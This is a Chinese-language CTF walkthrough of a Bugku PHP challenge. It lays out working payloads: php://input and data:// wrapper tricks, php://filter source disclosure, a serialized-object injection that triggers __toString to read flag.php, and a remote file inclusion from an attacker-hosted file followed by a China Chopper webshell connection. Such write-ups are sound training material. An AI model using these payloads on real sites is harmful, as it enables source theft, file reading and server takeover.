原题内容:
http://120.24.86.145:8006/test1/
首先bp一下,可见提示源码:
首先,分析代码获取四个需求:
1.三个传参
2.$user存在且不为空,
3.读取$user文件,内容为welcome to the bugkuctf,
4.$file要求为hint.php,将其导入
txt传入 可以用txt=php://input post传输welcome to the bugkuctf
也可以 用data协议 txt=data://text/plain,welcome to the bugkuctf
或者txt=data:text/plain,welcome to the bugkuctf
返回 hello friend!
用file=hint.php 没有新的返回 尝试用file=php://filter/convert.base64-encode/resource=hint.php 当有过滤过滤掉read的时候
或者 file=php://filter/read=convert.base64-encode/resource=hint.php
1, php://input 可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GE T方法提交过来的数据。但是,一般GET方法提交数据 时,http request entity body部分都为空。
2,php://input 与$HTTP_RAW_POST_DATA读取的数据是一样的,都只读取Content-Type不为multipart/form-da ta的数据。
所以构造payload:?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&passw ord= post: welcome to the bugkuctf
疑问:为什么不直接txt=welcome to the bugkuctf;
猜测:应该是file_get_contents函数的原因 读取http request entity body 部分的数据 但是上文说过,get方法 提交,http request entity body部分为空所以采用了利用php://input读取输入流的办法。
其实比较熟悉就知道两个点可以利用了,php://input与php://filter
php不提了,之前的博客中讲解过,不懂得可以前去看一下
CTF/CTF练习平台-flag在index里【php://filter的利用】
这里讲一下php://input
当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取
这题的效果如下:
加上php://filter的利用,读取hint.php的内容
load url改为:
http://120.24.86.145:8006/test1/index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=
可得到base64加密的字符串:
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
同理把hint.php改为index.php,顺路看看index的源码:
得到字符串:
PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg
解密得到代码:
从上面获取的源码可得到如下信息:
1.提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了屏蔽
2.hint.php中定义了一个类Flag,很有意思的是中间有个 __tostring 方法,这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
3. __tostring 方法执行时,将变量$file作为文件名输出文件内容,结合提示flag.php,猜测屏蔽的flag.php文件在此打开
4.在index.php源码中看到了$password的作用
这里走进了一个坑,一直在想办法绕过flag关键词的屏蔽,但是限制于php://fliter的格式,一直不得其解
正解应该是利用$password
之前说过Flag方法当做字符串执行时,会自动执行 __tostring 方法,注意到echo函数,只能输出一个或多个字符串,所以只要$password为Flag类型数据,且其中string类型的变量$file为flag.php即可
理解到这里,就懂了为啥多一个很奇怪的unserialize函数,其作用即为让你用字符串方式传递一个类
具体函数用法不多说,以前博客中有讲过,不懂可以去一看
写个脚本 得出password的 最后要构造的password 序列化的
<?php
class Flag{
public $file; //创建一个Flag类
}
$a=new Flag; //新建一个Flag类
$a->file="flag.php"; //引用$this->file file=flag.php
$a=serialize($a); //序列化$a
print($a);
?>
定义一共类class 跟hint.php 相同
执行一下,得到最后password的payload :O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}
http://120.24.86.145:8006/test1/?txt=data://text/plain,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
file此时就可以不用php://filter了 考虑到include 包含
echo函数,只能输出一个或多个字符串,所以只要password为Flag类型数据,且其中string类型的变量password为Flag类型数据,且其中string类型的变量file为flag.php即可
Flag方法当做字符串执行时,会自动执行 __tostring 方法
将其作为参数$password传进去,bp可得:
在这里简单说一下php的反序列化
将原来的某个对象进行序列化之后,从序列化后的结果中就可以知道这个对象的具体类型和值
在这里简单说一下序列化后的几个字母的意思,以password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}为例
- O(大写):对象class
- 4:4个字符
- "Flag":对象名
- 1:数量,一个
- s:string
- {}里的为参数
反序列化可以理解为序列化的的逆运算
--------------------------------------------------------
这里有3个变量 user
file
pass
用 get 传递
用 file_get_contents
读取 user 判断内容是否等于 welcome to the bugkuctf
之后 include 包含 file
需要一个内容是 welcome to the bugkuctf
的文件 鬼知道文件在哪...
别忘了 file_get_contents
可以读取网络上的文件
file_get_contents('http://www.baidu.com/')
需要一个在自己服务器上新建 a.txt 访问地址就是http://www.baidu.com/a.txt
txt内容为welcome to the bugkuctf
构造链接
返回 hello friend!
再看看源代码 include($file)
变量可控 存在文件包含 服务器上不知道有哪些文件 那就试试远程
服务器新建 aa.txt
构造链接访问之后
空白说明包含成功
菜刀连接
flag在flag.php里